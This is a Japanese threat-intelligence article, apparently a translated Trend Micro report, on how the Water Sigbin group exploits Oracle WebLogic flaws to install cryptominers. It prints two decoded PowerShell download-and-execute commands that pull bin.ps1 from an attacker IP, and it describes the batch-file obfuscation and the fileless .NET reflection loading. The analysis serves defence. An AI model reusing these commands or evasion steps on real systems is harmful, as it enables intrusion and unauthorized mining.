APT&標的型攻撃
攻撃グループ「Water Sigbin」による最新の難読化技術を解明
不正な暗号資産マイナーを配布する攻撃グループ「Water Sigbin(別称:8220 Gang)」の手口を解説します。本グループは、Oracle WebLogicの脆弱性を突いてPowerShellスクリプトを実行したことに加え、難読化を含む新たな検知回避技術を導入しました。
概要
- 今回Water Sigbinは、脆弱性「CVE-2017-3506」と「CVE-2023-21839」を突いて不正なPowerShellスクリプトを標的環境内で実行し、暗号資産マイナーを配備しました。
- 秘密裏にペイロードを配布する手段として、ポート番号「443」によるHTTP通信や、URLを16進数でエンコードする難読化技術が利用されました。
- PowerShellスクリプトや、それによって作成されるバッチファイルも、複雑なエンコードによって難読化されていました。さらに不正なコードが環境変数によって隠蔽され、正常なコードとして偽装されていました。
- Water Sigbinは、PowerShellスクリプト内で「.NETリフレクション」の技術を用い、不正なコードをメモリ上に直接ロードして実行しました。これは「ファイルレス」と呼ばれる手口であり、ディスクベースでの検知を回避するものです。
- 攻撃者のTTPs(Tools:ツール、Tactics:戦略、Procedures:プロシージャ)が進化し続けている状況に対し、企業や組織では警戒態勢を緩めることなく、各種サイバーセキュリティを実践することが重要です。具体的には、定期的な修正パッチの適用、従業員への教育、インシデント対応計画の策定などが挙げられます。
Water Sigbin(別称:8220 Gang)は中国に拠点を置く攻撃グループであり、遅くとも2017年頃から活動を続けています。その目的は、不正な暗号資産マイニング用マルウェアを展開することであり、主にクラウドベースの環境やLinuxサーバを標的として狙います。本グループは、広範に及ぶTTPs(Tools:ツール、Techniques:テクニック、Procedures:プロシージャ)を行使し、さまざまな脆弱性を組み合わせて利用することで知られています。
前回の記事では、複雑化の一途を辿るWater Sigbinの活動形態や手口について解説しました。一般に、サイバー犯罪の脅威は進化するものであり、攻撃者は、防御者を出し抜くための新たな作戦を常に模索しています。実際に最近に入り、Water Sigbinは不正な活動を隠蔽する目的で新たな手法を導入しました。これにより、本グループの攻撃を阻止することが、より一層困難なものとなりました。
脆弱性「CVE-2017-3506」と「CVE-2023-21839」の概要
今回の攻撃では、Oracle WebLogicサーバの脆弱性「CVE-2017-3506(リモートからのOSコマンド実行)」と「CVE-2023-21839(安全ではないデシリアライズ)」が利用されました。これにより、標的ホスト内でPowerShellスクリプト「bin.ps1」が実行され、最終的に暗号資産マイナーがインストールされました。背後にいる実行グループが「Water Sigbin」であることは、使用されたTTPs(Tools:ツール、Technique:テクニック、Procedures:プロシージャ)の分析によって明らかになりました。過去の調査結果も踏まえると、本攻撃グループは、スクリプトやツール類を継続的にアップデートしていると考えられます。
脆弱性「CVE-2017-3506」を突く攻撃用のペイロードとして、下記が確認されました。
本ペイロードに含まれるBase64文字列(図中では赤枠2行目の「cAB」で始まる箇所)をデコードすると、下記の文字列が得られます。
powershell "IEX(New-Object Net.WebClient).DownloadString('http://0xb9ac8092:443/bin.ps1')"
一方、脆弱性「CVE-2023-21839」を突く攻撃用ペイロードとしては、下記が確認されました。
本ペイロード内のBase64文字列(図中、最下部の「cG9」で始まる箇所)をデコードすると、下記の文字列が得られます。
powershell "IEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1')"
攻撃の標的としては、Linux端末とWindows端末の双方が狙われ、前者の場合はシェルスクリプトが、後者の場合はPowerShellスクリプトが実行されました。本稿では、両者の中でも難読化の手口が際立つWindows版に焦点を当て、その内容について詳しく解説します。
本攻撃者は、脆弱性を突くペイロードを配布する際の初期段階として、下記の検知回避技術を利用しました。
- URLを16進数でエンコード
PowerShellスクリプトの配布元として用いられたURLを下図に示します。
本URLをドット付きの10進数で表記すると、下記のようになります。
http://185.172.128.146:443/bin[.]ps1
- ポート「443」によるHTTP通信
図3のURLから示されるように、Water SigbinはHTTP通信のポート番号として「443」を使用します。これは、通信のステルス性を高める手段に相当します。
本URLから取得されるPowerShellスクリプト「bin.ps1」は、下記の2段階で構成されています。
- 実行対象のバイナリコードや命令:Base64でエンコードされた長い文字列
- 上記のBase64文字列をデコードする機能:デコード結果は一時ディレクトリ内に「microsoft_office365.bat」の名前で保存し、ウィンドウ表示なしで実行する
上図の通り、スクリプト「bin.ps1」に定義された以下の関数は、Base64でエンコードされた文字列をデコードし、
Convert-Base64ToFileAndExecuteSilently
その結果を一時ディレクトリの以下の配下にの名前で保存します。
microsoft_office365.bat
このbatファイルが、不正な機能の中核を担います。
スクリプト「microsoft_office365.bat」の解析
スクリプト「microsoft_office365.bat」には、複雑な環境変数によってコードの動きを読み取りにくくする難読化の手口が施されています。下図に、本スクリプトの開始部を示します。
本スクリプトを一瞥すると、何らかの環境変数が定義されているように見えますが、複雑な文字が入り乱れ、何をしているのか把握しづらいものとなっています。しかし、詳細な解析により、不正なコードが巧妙に隠しこまれていることが判明しました。
コードの動きを見極めるにあたり、はじめに「if(図5の最下部)」の条件分岐を解読する必要があります。
続いて、コード内に現れる全ての「RxEGj」を除去します。この結果、スクリプトの先頭部は下記のように変換されます。
上図における最初のコマンド文「cmd /c "set =&rem"」は、新しいコマンドプロンプトを開き、環境変数「」に空文字を設定します。さらに以下のコマンドを実行しますが、機能上の意味はありません。
「rem%20into%20a%20batch%20file.&text=During%20execution%20of%20a%20batch,space%2C%20tab%2C%20and%20comma.)(バッチファイルにコメントを記載する目的で使用される)」
全体として図7に挙げた箇所は、新規のコマンドプロンプト画面を最小化モードで立ち上げ、現在のスクリプトを終了する作りとなっています。
次に続く2つの長いBase64文字列は、実際のバイナリコードに相当するものであり、使用時には前処理が必要となります。当該の前処理は、PowerShellメソッドによって行われます。
以降、難読化されたPowerShellコードが続きます。本コードは、後に必要となるBase64文字列の処理を一括して担います。
上図についても、先と同様に文字列「RxEGj」を全て除去すれば、実際のPowerShellコードが得られます。
解読後のPowerShellコマンドは、下記を実行します。
- Base64文字列をデコード([Convert]::FromBase64String)
- 復号処理([System.Security.Cryptography.Aes])
- 復号後の文字列を展開([IO.Compression.CompressionMode])
- メモリ・リフレクションを介してDotNetを利用し、マルウェアのコードを実行([System.Reflection.Assembly])
攻撃者は「System.Reflection.Assembly」の機能を用いることで、不正な処理をファイルに保存することなく、メモリ上に直接展開して実行します。これは、ファイルレス攻撃と呼ばれる手口に相当します。
まとめ
脆弱性「CVE-2017-3506」や「CVE-2023-21839」を突くWater Sigbinの活動は、近年の攻撃グループが有する柔軟性や適応力を示すものです。本グループは、検知回避に繋がる巧妙な手口を多岐に渡って用いる点で特徴的です。その具体例が16進数によるURLエンコード、PowerShellやバッチスクリプトに対する複雑なエンコード方式、環境変数の利用、多層に渡る難読化などであり、いずれも、不正な処理を安全なものに偽装する効果があります。セキュリティチームにとっては、攻撃の検知や阻止がより一層困難なものとなります。
本事例から示されるように、攻撃者の戦略は進化し続けています。これに対して防御側では、警戒体制を維持し、巧妙な手口からシステムやネットワークを保護する対策について、先手を打って検討していく必要があります。
セキュリティ推奨事項
今回挙げたWater Sigbinのように、攻撃者は脆弱性を突く手口を常に模索し続けています。企業や組織がこうした脅威に対抗してシステムやネットワークを保護する上では、サイバーセキュリティのベストプラクティスを実践し、先進的に対策を講じていくことが重要です。その具体例を、下記に示します。
- 修正パッチの管理:定期アップデートやパッチ適用のプロセスを優先的に実施し、全システム上で最新版のソフトウェアが稼動している状態を保つ。既知の脆弱性が存在し、特にそれを突く手口が知られている場合は、早急にセキュリティパッチを適用する。
- ネットワークの分割:アタックサーフェス(攻撃対象領域)を狭めるために、ネットワーク分割(セグメンテーション)を実施する。大規模なネットワークから重要ネットワークを切り離すことで、脆弱性の影響を最小限に押し止めることが可能になる。
- 定期的なセキュリティ監査:定期的なセキュリティ監査や脆弱性評価を通してインフラ内の弱点を洗い出し、攻撃者に狙われる前に、対策を実施する。
- セキュリティ意識を高める教育:攻撃者がよく用いる作戦に関する教育を、従業員向けに実施する。そうすることで、脆弱性が実際に突かれる前の段階でソーシャルエンジニアリングなどの手口に気づき、不正な企みを早期に阻止できる可能性が高まると考えられる。
- インシデント対応計画:仮に脆弱性を突いた攻撃やセキュリティ侵害が発生した場合にも、早急かつ効果的に対応できるように、インシデント対応計画を策定し、テストや管理を継続的に実施する。
- 脅威インテリジェンス:脅威インテリジェンスの購読サービスに登録し、一般的な攻撃グループやAPT(標的型攻撃)グループが用いる手口や脅威の最新情報を入手する。
トレンドマイクロのソリューション
トレンドマイクロの製品では、本稿で挙げた脆弱性を突く手口からシステムを保護する機能として、下記を提供しています。
- 1011716 - Oracle WebLogic Server Insecure Deserialization Vulnerability (CVE-2023-21839):Oracle WebLogic Serverの安全ではないデシリアライズに関する脆弱性
- 1010550 - Oracle WebLogic WLS Security Component Remote Code Execution Vulnerability (CVE-2017-3506):Oracle WebLogicのWLSセキュリティコンポーネントにおけるリモートコード実行の脆弱性
侵入の痕跡(IoC:Indicators of Compromise)
侵入の痕跡(IoC)はこちらで確認してください。
MITRE ATT&CK Techniques
MITRE ATT&CK Tactics and Techniquesはこちらで確認してください。
参考記事:
Decoding Water Sigbin's Latest Obfuscation Tricks
By: Sunil Bharti
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)